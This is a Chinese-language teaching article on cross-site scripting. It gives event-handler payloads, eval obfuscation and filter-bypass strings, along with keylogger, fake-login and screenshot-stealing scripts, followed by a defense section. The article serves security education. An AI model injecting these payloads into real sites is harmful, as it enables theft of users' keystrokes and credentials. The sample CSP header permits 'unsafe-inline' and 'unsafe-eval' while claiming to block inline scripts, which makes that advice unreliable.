他山之石 | 对 XSS 的一次深入分析认识
字数 1526 2025-08-18 11:37:53

XSS攻击深入分析与防御技术教学文档

一、XSS攻击概述

XSS（跨站脚本攻击）是Web应用中最常见且持续存在的安全漏洞之一，攻击者通过在目标网站中注入恶意脚本，当其他用户访问该页面时，脚本会在用户浏览器中执行。

XSS攻击特点

  • 长期存在且影响广泛
  • 攻击方式多样，绕过技术不断演进
  • 危害远超简单的弹窗演示

二、XSS攻击向量分析

1. 非常规标签Payload加载技术

(1) Body标签

<body onpageshow=alert(1)>
  • 利用onpageshow事件处理器
  • 页面解析body元素时触发Payload

(2) Style标签

<style onload=alert(1) />
  • 结合onload事件触发

(3) Marquee标签

<marquee behavior="alternate" onstart=alert(1)>hack the planet</marquee>
<marquee loop="1" onfinish=alert(1)>hack the planet</marquee>
<marquee onstart=alert(1)>hack the planet</marquee>
  • 支持多种事件处理器：
    • onbounce：内容滚动到边界时触发
    • onfinish：完成loop属性设置值时触发
    • onstart：内容开始滚动时触发

(4) Media标签（音频/视频）

<audio oncanplay=alert(1) src="/media/hack-the-planet.mp3" />
<video onloadedmetadata=alert(1) src="/media/hack-the-planet.mp4" />
  • 可用事件处理器：
    • oncanplay：可开始播放时触发
    • ondurationchange：时长变化时触发
    • onended：播放结束时触发
    • onloadeddata：数据帧加载时触发
    • onloadedmetadata：元数据加载后触发
    • onloadstart：开始寻找媒体时触发
    • onprogress：下载媒体时触发
    • onsuspend：读取数据中止时触发

三、XSS绕过技术

1. 黑名单绕过技术

(1) Eval与冗余符号组合

eval('~a~le~rt~~(~~1~~)~'.replace(/~/g, ''))
  • 通过添加冗余符号(~)混淆
  • 使用replace方法清除冗余符号

(2) 引号转义绕过

eval(/~a~le~rt~~(~~1~~)~/.source.replace(/~/g, new String()))
  • 使用正则表达式避免引号
  • new String()替代空字符串

(3) String.fromCharCode方法

eval(String.fromCharCode(97,108,101,114,116,40,49,41))
  • 将ASCII码转换为字符执行

2. Eval替代调用方法

(1) 变量间接调用

var x = eval; x('alert(1)')

(2) 括号间接调用

(1, eval)('alert(1)')

(3) call方法调用

eval.call(null, 'alert(1)')

(4) 新函数定义

function hackThePlanet () { alert(1) }

(5) Function构造函数

new Function('alert(1)')()

3. 输入过滤绕过技术

(1) 不安全样式删除机制利用

<sc<script>ript>alert(1)</sc</script>ript>
  • 删除<script>标签对后剩余有效Payload
  • 删除onerror后剩余有效属性

(2) 不安全样式替换机制利用

  • 当<script></script>被替换为NAUGHTY_HACKER时：
<script <script>>alert(1)</script </script>>
  • 替换后形成：
<script NAUGHTY_HACKER>alert(1)</script NAUGHTY_HACKER>
  • 浏览器会忽略无效属性但执行脚本

四、XSS高级攻击技术

1. 键盘记录器实现

document.addEventListener('keypress', function (event) {
  var xhr = new XMLHttpRequest()
  xhr.open('POST', '/keylogger')
  xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')
  xhr.send('data=' + event.key)
})
  • 捕获用户按键并发送到攻击者服务器

2. DOM操纵钓鱼攻击

var dummyFormHtml = '伪造的登录表单HTML'
document.body.innerHTML = dummyFormHtml
// 添加上述键盘记录器代码
  • 替换页面内容为伪造登录表单
  • 结合键盘记录窃取凭证

3. 浏览器视图截图窃取

html2canvas(document.querySelector("body")).then(canvas => {
  var xhr = new XMLHttpRequest()
  xhr.open('POST', '/screenshot')
  xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')
  xhr.send('data=' + encodeURIComponent(canvas.toDataURL()))
});
  • 使用html2canvas库捕获页面截图
  • 将截图发送到攻击者服务器

五、XSS防御策略

1. 输入过滤最佳实践

  • 采用白名单而非黑名单策略
  • 实现递归过滤而非单次过滤
  • 对特殊字符进行适当编码

2. 输出编码

  • 根据上下文采用不同的编码方式：
    • HTML实体编码
    • JavaScript编码
    • URL编码
    • CSS编码

3. 内容安全策略(CSP)

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'
  • 限制脚本来源
  • 禁止内联脚本执行

4. HttpOnly Cookie标志

  • 防止JavaScript访问敏感Cookie

5. 其他防御措施

  • 使用X-XSS-Protection头
  • 实施严格的同源策略
  • 定期安全审计和渗透测试

六、实战测试资源

  • 漏洞测试应用GitHub仓库：https://github.com/DigitalInterruption/vulnerable-xss-app

七、总结

XSS攻击技术不断演进，防御措施需要多层次、多角度实施。理解攻击原理是构建有效防御的基础，建议开发人员和安全工程师：

  1. 深入了解各种XSS攻击向量
  2. 实施严格的输入验证和输出编码
  3. 采用现代浏览器安全特性
  4. 定期更新和测试安全策略
  5. 对用户进行安全意识教育
XSS攻击深入分析与防御技术教学文档 一、XSS攻击概述 XSS（跨站脚本攻击）是Web应用中最常见且持续存在的安全漏洞之一，攻击者通过在目标网站中注入恶意脚本，当其他用户访问该页面时，脚本会在用户浏览器中执行。 XSS攻击特点 长期存在且影响广泛 攻击方式多样，绕过技术不断演进 危害远超简单的弹窗演示 二、XSS攻击向量分析 1. 非常规标签Payload加载技术 (1) Body标签 利用 onpageshow 事件处理器 页面解析body元素时触发Payload (2) Style标签 结合 onload 事件触发 (3) Marquee标签 支持多种事件处理器： onbounce ：内容滚动到边界时触发 onfinish ：完成loop属性设置值时触发 onstart ：内容开始滚动时触发 (4) Media标签（音频/视频） 可用事件处理器： oncanplay ：可开始播放时触发 ondurationchange ：时长变化时触发 onended ：播放结束时触发 onloadeddata ：数据帧加载时触发 onloadedmetadata ：元数据加载后触发 onloadstart ：开始寻找媒体时触发 onprogress ：下载媒体时触发 onsuspend ：读取数据中止时触发 三、XSS绕过技术 1. 黑名单绕过技术 (1) Eval与冗余符号组合 通过添加冗余符号(~)混淆 使用replace方法清除冗余符号 (2) 引号转义绕过 使用正则表达式避免引号 new String() 替代空字符串 (3) String.fromCharCode方法 将ASCII码转换为字符执行 2. Eval替代调用方法 (1) 变量间接调用 (2) 括号间接调用 (3) call方法调用 (4) 新函数定义 (5) Function构造函数 3. 输入过滤绕过技术 (1) 不安全样式删除机制利用 删除 <script> 标签对后剩余有效Payload 删除 onerror 后剩余有效属性 (2) 不安全样式替换机制利用 当 <script></script> 被替换为 NAUGHTY_HACKER 时： 替换后形成： 浏览器会忽略无效属性但执行脚本 四、XSS高级攻击技术 1. 键盘记录器实现 捕获用户按键并发送到攻击者服务器 2. DOM操纵钓鱼攻击 替换页面内容为伪造登录表单 结合键盘记录窃取凭证 3. 浏览器视图截图窃取 使用html2canvas库捕获页面截图 将截图发送到攻击者服务器 五、XSS防御策略 1. 输入过滤最佳实践 采用白名单而非黑名单策略 实现递归过滤而非单次过滤 对特殊字符进行适当编码 2. 输出编码 根据上下文采用不同的编码方式： HTML实体编码 JavaScript编码 URL编码 CSS编码 3. 内容安全策略(CSP) 限制脚本来源 禁止内联脚本执行 4. HttpOnly Cookie标志 防止JavaScript访问敏感Cookie 5. 其他防御措施 使用X-XSS-Protection头 实施严格的同源策略 定期安全审计和渗透测试 六、实战测试资源 漏洞测试应用GitHub仓库：https://github.com/DigitalInterruption/vulnerable-xss-app 七、总结 XSS攻击技术不断演进，防御措施需要多层次、多角度实施。理解攻击原理是构建有效防御的基础，建议开发人员和安全工程师： 深入了解各种XSS攻击向量 实施严格的输入验证和输出编码 采用现代浏览器安全特性 定期更新和测试安全策略 对用户进行安全意识教育